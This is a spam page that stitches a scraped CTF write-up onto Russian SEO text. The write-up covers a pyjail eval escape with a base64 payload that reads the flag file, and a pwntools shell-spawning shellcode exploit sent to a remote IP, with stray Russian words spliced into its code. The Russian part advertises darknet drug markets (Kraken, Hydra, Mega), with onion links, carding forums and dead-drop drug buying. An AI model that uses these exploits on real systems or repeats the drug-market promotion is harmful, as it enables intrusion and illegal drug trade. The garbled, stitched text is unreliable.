Kraken darknet tor

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) найти == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) русские if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related

Kraken darknet tor - Магазин по продаже наркотиков

�их наркотиков, сильнодействующих веществ, прекурсоров и кокаина бесконтактным способом при помощи сети интернет". Самый актуальный каталог теневых форумов и даркнет ресурсов, вся актуальная информация на 2022 год. Всё что вы делаете в тёмном интернете, а конкретно на сайте ОМГ ОМГ остаётся полностью анонимным и недоступным ни для кого, кроме вас. Таким образом, тёмный мир интернета изолируется от светлого. 3 Как войти на Mega через iOS. Вернется ли «Гидра» к работе после сокрушительного удара Германии, пока неизвестно. Hydra или «Гидра» крупнейший российский даркнет-рынок по торговле, крупнейший в мире ресурс по объёму нелегальных операций с криптовалютой. Адрес ОМГ ОМГ ОМГ это интернет площадка всевозможных товаров, на строго определенную тематику. Перейти можно по кнопке ниже: Перейти на Mega Что такое Мега Mega - торговая платформа, доступная в сети Tor с 2022 года. В своем телеграмм-канале я обещала продумать альтернативы питания для ваших питомцев, слово держу. Старая. После того как вы его скачаете и установите достаточно будет просто в поисковой строке вбить поисковой запрос на вход в Hydra. Даже если он будет выглядеть как настоящий, будьте бдительны, это может быть фейковая копия. На данный момент Гидра com является самым удобным и приятным криптомаркетом всей сети интернет. Onion - CryptoParty  еще один безопасный jabber сервер в торчике Борды/Чаны Борды/Чаны nullchan7msxi257.onion - Нульчан  Это блять Нульчан! Matanga - такое название выбрал себе сайт авто-продаж психоактивных веществ в нашем любимом даркнете. Всегда смотрите на адресную строку браузера, так вы сделаете все правильно! Interlude x10, Interlude x50, Interlude x100, Interlude x1000, Interlude x5, Присоединяйтесь. Именно на форуме каждый участник имеет непосредственную возможность поучаствовать в формировании самого большого темного рынка СНГ Hydra. Onion - Скрытые Ответы  задавай вопрос, получай ответ от других анонов. последние новости Гидра года. Onion - Verified зеркало кардинг-форума в торе, регистрация. Дружелюбным его никак не назовешь. Начинание анончика, пожелаем ему всяческой удачи. Возможность покупки готового клада или по предзаказу, а также отправка по регионам с помощью специальных служб доставки. На этом сайте найдено 0 предупреждения. Литература. Друзья, хотим представить вам новую перспективную площадку с современным интуитивным интерфейсом и классным дизайном. Социальные кнопки для Joomla Назад Вперёд. Небольшой список.onion сайтов в сети Tor. Русское сообщество. Онлайн системы платежей: Не работают! Зарубежный форум соответствующей тематики. В сети существует два ресурса схожих по своей тематике с Гидрой, которые на данный момент заменили. Практикуют размещение объявлений с продажей фальшивок, а это 100 скам, будьте крайне внимательны и делайте свои выводы. Org b Хостинг изображений, сайтов и прочего Хостинг изображений, сайтов и прочего matrixtxri745dfw. 3 Как войти на Mega через iOS. У каждого сайта всегда есть круг конкурентов, и чтобы расти над ними, исследуйте их и будьте на шаг впереди. �их наркотиков, сильнодействующих веществ, прекурсоров и кокаина бесконтактным способом при помощи сети интернет". Зеркало arhivach. Если же ничего не заполнять в данной строке, то Мега даст вам все возможные варианты, которые только существуют. Rar 289792 Данная тема заблокирована по претензии (жалобе) от третих лиц хостинг провайдеру. Именно по этому мы будет говорить о торговых сайтах, которые находятся в TOR сети и не подвластны блокировкам. По слухам основной партнер и поставщик, а так же основная часть магазинов переехала на торговую биржу. Можно добавлять свои или чужие onion-сайты, полностью анонимное обсуждение, без регистрации, javascript не нужен. На нашем сайте всегда рабочая ссылки на Мега Даркнет. Onion - Freedom Chan  Свободный чан с возможностью создания своих досок rekt5jo5nuuadbie. Подробнее можно прочитать на самом сайте.

На самом деле в интернете, как в тёмном, так и в светлом каждый день появляются сотни тысяч так называемых «зеркал» для всевозможных сайтов. Если вы не хотите случайно стать жертвой злоумышленников - заходите на мега по размещенным на этой странице мега ссылкам. Сохраненные треды с сайтов. Капча Судя по отзывам пользователей, капча на Мега очень неудобная, но эта опция является необходимой с точки зрения безопасности. Onion/ - Годнотаба  открытый сервис мониторинга годноты в сети TOR. Всё чаще, регулярнее обновляются шлюзы, то есть зеркала сайта. Похоже? Onion - cryptex note  сервис одноразовых записок, уничтожаются после просмотра. Мы не успеваем пополнять и сортировать таблицу сайта, и поэтому мы взяли каталог с одного из ресурсов и кинули их в Excel для дальнейшей сортировки. Ещё одной причиной того что, клад был не найден это люди, у которых нет забот ходят и рыщут в поисках очередного кайфа просто «на нюх если быть более точным, то они ищут клады без выданных представителем магазина координат. Onion - The Pirate Bay - торрент-трекер  Зеркало известного торрент-трекера, не требует регистрации yuxv6qujajqvmypv. Onion - Choose Better  сайт предлагает помощь в отборе кидал и реальных шопов всего.08 ВТС, залил данную сумму получил три ссылки. "Основные усилия направлены на пресечение каналов поставок наркотиков и ликвидацию организованных групп и преступных сообществ, занимающихся их сбытом отмечается в письме. Перевалочная база предлагает продажу и доставку. ОМГ! Нужно знать работает ли сайт. Одним из самых главных способов обхода страшной блокировки на сайте Меге это простое зеркало. Особых знаний для входа на сайт Мега не нужно - достаточно просто открыть браузер, вставить в адресную строку Мега ссылку, представленную выше, и перейти на сайт. Третьи продавцы могут продавать цифровые товары, такие как информация, данные, базы данных. Но многих людей интересует такая интернет площадка, расположенная в тёмном интернете, как ОМГ. Отзывы о великой Меге встречаются разные. Onion-сайты v2 больше не будут доступны по старым адресам. Onion - Sci-Hub,.onion-зеркало архива научных публикаций (я лично ничего не нашёл, может плохо искал). Рекомендуем периодически заходить на эту страницу, чтобы быть в курсе, когда приложение будет презентовано. Специалист выразил сомнение, что прежние площадки когда-нибудь заработают. Это используется не только для Меге. При необходимости настройте дополнительные параметры доступа. Спасибо! Что-то про аниме-картинки пок-пок-пок. Источник Источник. МВД РФ, заявило о закрытии площадки. Onion/ - 1-я Международнуя Биржа Информации  Покупка и продажа различной информации за биткоины. Как только будет сгенерировано новое зеркало Mega, оно сразу же появится здесь. В случае если продавец соврал или товар оказался не тем, который должен быть, либо же его вообще не было, то продавец получает наказание или вообще блокировку магазина.